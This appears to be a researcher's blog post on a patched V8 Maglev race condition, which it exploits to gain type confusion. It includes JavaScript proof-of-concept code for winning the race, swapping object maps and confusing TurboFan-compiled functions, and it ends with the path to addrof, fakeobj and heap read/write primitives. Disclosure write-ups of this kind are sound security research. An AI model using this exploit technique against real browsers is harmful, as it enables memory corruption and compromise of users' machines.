Racing V8 and Other Reporters
Introduction
This is a quite sad story about a really cool bug I found in Maglev. Unfortunately, someone else reported it before I could. Since I already had a working PoC and spent a lot of time on it, I decided to make this blogpost regardless.
The bug was independently reported as Chromium issue 560233248.
Fixed in: dd0f8f20b696604962000ea5f805fc3db78286e1
My Chrome PoC is available here.
TL;DR
When Maglev compiles a store to a global variable in TryBuildPropertyCellStore, it uses the broker representation of the
PropertyCell to decide which map check to emit. There is a race window where we can replace the object stored in the global
and transition the old object. If we win the race, Maglev mixes the current state of the PropertyCell with the map of the old object.
We start with a global G pointing to object A with map M1. During compilation we replace it with object B, which also has map M1, and
then transition A to M2. Maglev ends up compiling a store which checks for M2 and then writes directly to G, even though the live value is still B with
map M1. We can then transition B to a sibling map M3 and compile a second store for M3. With these two functions we can switch G between M2 and M3
without running the normal PropertyCell update logic.
We switch G back to M2 and compile read/write functions in TurboFan, which assume that its field is a double. We then use the M3 writer to replace it with
an object containing a tagged field at the same offset. The TurboFan functions stay optimized and access that tagged field as a double, giving us confusion.
DETAILS
PropertyCell
Global properties are stored in a PropertyCell. The cell contains the current value, its property details and a list of optimized code
which depends on it. The property details also contain a PropertyCellType. The two types relevant to this bug are Constant, meaning that the cell still
contains its original value, and ConstantType, meaning that it has been assigned different values but they all had the same stable map.
A normal store goes through PropertyCell::PrepareForAndSetValue and PropertyCell::UpdatedType. If the old and new values no longer have the same
map, the cell becomes Mutable and dependent optimized code is deoptimized. For a ConstantType cell, Maglev can instead check that the new value has the
expected map and write it directly to PropertyCell::value_. This is ok if the broker rappresentation is consistent with the live cell (we break exactly this).
The Bug
The buggy call chain is
maglev-graph-builder.cc MaglevGraphBuilder::TryBuildPropertyCellStore
-> heap-refs.cc PropertyCellData::Cache // race starts here
--> heap-refs.cc JSHeapBroker::TryGetOrCreateData
---> heap-refs.cc HeapObjectData::HeapObjectData // obj map is read, race ends here
In PropertyCellData::Cache, the value of the target global variable is loaded:
Handle<Object> value = broker->CanonicalPersistentHandle(cell->value(kAcquireLoad));
but its map is used only in HeapObjectData::HeapObjectData:
map_ = broker->GetOrCreateData(object->map(kAcquireLoad), kAssumeMemoryFence);
During this window it’s possible to change the global variable value and transition old value map, HeapObjectData will read the map from the old value.
Winning the race
The raw race window is tiny. The main trick is to make the broker resize its RefsMap exactly after it retained the old value and before it reads that value’s map. A resize takes long enough for the JavaScript thread to replace the live value and transition the old object.
The map grows after an insertion when:
n + floor(n / 4) >= capacity
At first I used the 32,768-to-65,536 boundary. It worked, but it also made compilation and every foreground call much slower. The new version instead targets the previous 16,384-to-32,768 boundary.
To land there, the store loads 1,313 initialized function-valued globals and contains 21 warmed object-literal sites with 120 distinct Smi fields each. An initialized function contributes eight broker refs, while each literal contributes its 120 Smis plus three site/boilerplate refs. Immediately before the target value is inserted, occupancy is:
20 + 8 * 1313 + (120 + 3) * 21 = 13107
The target value becomes entry 13,108, which grows the table from 16,384 to 32,768. I also checked this in GDB: TryBuildPropertyCellStore sees occupancy 13,107 and the next insertion resizes the map inside PropertyCellData::Cache.
The PoC tries 36 fresh lanes, using 850 to 1,130 extra calls in steps of eight. These are not dummy pacers: every call executes the vulnerable store. A miss starts a fresh Worker inside the same browser invocation, so there are no sleeps or timer calibration. Each race takes about 0.06 seconds and, in our tests, we always won in less than a second.
The resize happens at refs_->InsertNew(object.address()), after the cell value has been retained but before HeapObjectData reads that value’s map. Rehashing the table widens exactly the vulnerable interval, giving the JavaScript thread time to replace the live cell value and transition the retained object. The constants are therefore build-specific broker geometry, not arbitrary padding.
Conceptually:
function make(v) { return {u: v}; }
const A = make(0); // Map M1
const B = make(1); // Map M1
globalThis.G = A;
globalThis.G = B; // G property cell: PropertyCell::ConstantType
function store(target, seed){
// The real PoC has 21 warmed literal sites here.
if (seed) void({p0: 100000 /* ... p119 ... */});
// And 1,313 initialized function-valued global loads here.
D0; D1; /* ... */ D1312;
globalThis.G = target;
}
// call 411 triggers maglev compilation
for (let i = 0; i < 100; ++i) store(A, false);
for (let i = 0; i < 2; ++i) store(A, true);
for (let i = 102; i < 410; ++i) store(A, false);
store(A, false);
// wait for the race window
const extra = 850 + slot * 8;
for (let i = 0; i < extra; ++i) store(A, false);
globalThis.G = B;
A.x = 1.1; // A: M1 -> M2
/*
The compiled store function checks that `target` map is M2
if the check passes it stores it in G without triggering
any PropertyCell logic.
*/
Exploitation
By this point we have G pointing to an object with map M1, and store that stores in G any object with map M2 after its M2 map check.
We need somehow to snowball this compiler lie into actual object confusion.
Few important details:
1) PropertyCell logic runs only on variable assignment:G = A; A.something= 9 migrates A’s map,
but G stays PropertyCell::ConstantType, G=B with B having a different map would turn the cell into Mutable.
2) The function we compile in maglev do raw stores inside PropertyCell::value_ (if the new obj map is what the function expects)
3) Tubofan compiled functions are able to remove also the map checks. These functions are tracked inside PropertyCell.DependentCode
PropertyCell logic, and Map logics are responsable for invalidating that code. But we never trigger them.
The idea is to create a sibbling map M3 so that object location overlap (M2.x and M3.y are at the same offset in the obj),
compile another function that function that stores into G M3 objects, with store and this new functions we can swap G value
objects between those 2 maps.
We also compile 2 functions using turbofan that assume G has map M2 doing raw memory access, swapping G value using the maglev
compiled functions dosn’t invalidate them, causing the actual confusion.
// resuming from the code above
const objects = [{}, {}], doubles = [1.1, 2.2];
B.y = objects; // B: M1 -> M3
B.y = doubles; // A.x and B.y have the same
B.y = objects; // offset inside the obj
function storeM3(target){
globalThis.G = target;
}
// trigger compilation, this time we don't need to race
for (let i = 0; i < 411; ++i) storeM3(B);
/*
At this point we can store M2 objects in G using `store`
and M3 objects using `storeM3` all of this without
triggering any logic that would deopt the functions.
*/
store(A) // G -> M2
function read(){ return G.x;}
function write(val){ return G.x =val ; }
// trigger turbofan compilation
for (let i = 0; i < 100000; ++i) {
read();
write(i + .25);
}
storeM3(B);
read(); // leaks array properties and elements
At this point we can swap the value of G between M2 and M3 objects without invalidating anything. M2.x is an allocated HeapNumber, the allocations looks like this
0: map (HeapNumber)
4: actual number
M3.y points to an array, the allocation looks like this
0:map
4:properties
8:elements
12:len
M2.x overlaps properties and elements, enought to craft addrof, fakeobj, and heap arb r/w.